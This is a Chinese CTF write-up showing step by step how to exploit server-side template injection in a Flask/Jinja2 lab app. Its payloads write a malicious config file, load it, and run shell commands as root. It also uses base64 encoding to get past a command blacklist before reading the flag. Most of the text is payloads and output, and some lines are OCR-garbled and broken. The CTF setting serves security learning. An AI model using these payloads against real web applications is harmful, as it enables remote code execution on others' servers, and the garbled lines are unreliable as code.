CTF SSTI模板注入详解



CSDN @cosmos_web

确认是模板注入,就可以直接使用payload了:

想更深入了解模板注入里面涉及的知识,函数的使用等,可以参考这个大佬的文章

https://xz.aliyun.com/t/7746

{{ ''.__class__._mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_o

URL:

eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ ".__class___mro__[2].__subclasses__()[40] (/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

Hello None

返回None,证明传递成功

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{{ config.from_pyfile('/tmp/owned.cfg') }}

URL:

eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com

/?name={{ config.from_pyfile('/tmp/owned.cfg') }}

Hello True

返回True, 证明上传成功

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```
现在就可以操作了
```

```
{{ config['RUNCMD'] ('ps aux', shell=True) }}
```

URL

http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] ('ps aux',shell=True) }}

/usr/bin/id 查看当前用户,发现是root用户

用ps aux查看当前进程,发现有一个文件是

vii	USER		LID	THURU THE	NEM.	104	K22 111	5	TAT START TIME COMMAND	
root	1	0.0	0.1	4448	728	?	Ss	07:25	0:00 /bin/sh -c sh /root/s	tart.sh;sleep 3;/bin/bash /bin/bash
root	3	0.0	2.9	55236	20052	?	S	07:25	0:00 python /var/www/html/	x. py
root	13	0.0	0.4	18164	3056	?	S+	07:26	0:00 /bin/bash	
root	25	0.0	0.1	4448	688	?	S	07:48	0:00 /bin/sh -c ps aux	
coot	26	0.0	0.3	15568	2196	?	R	07:48	0:00 ps aux	CSDN @cosmos_web

尝试了Is等一些命令,发现很多命令被黑名单过滤了,我们使用base64编码来绕过

echo ** (密文) ** | base64 -d

注意:代码要用反引号``包起来

把命令先base64加密

(root@ kali2021)-[/home/co	smos	
└─₩ echo "ls -al /var/www/htm bHMgLWFsIC92YXIvd3d3L2h0bWwK	CSDN	base64 @cosmos_web

{{ config['RUNCMD'] ('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

URL

```
http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name=
{{ config['RUNCMD'] (``echo bHMgLWFsIC92YXlvd3d3L2h0bWwK | base64 -d``,shell=True) }}
```

```
<h1>Hello total 52
drwxr-xr-x 1 root root 4096 Mar 31 07:26 .
drwxr-xr-x 1 root root 4096 Nov 9 2016 ..
-rw-r--r-- 1 root root 43 Mar 31 07:26 fl4g
-rw-r--r-- 1 root root 34913 Nov 9 2016 x.py
</h1>
```

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```
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```

最后获取flag

cat /var/www/html/fl4g

URL:

```
view-source:http://eci-2ze8l1o1z33xpyy7xj4o.cloudeci1.ichunqiu.com/?name={{ config['RUNCMD'] (``echo
Y2F0IC92YXlvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}
```

得出flag

```
<h1>Hello flag{3775d273-7efa-4439-8aaa-78feb7e812d0}
```

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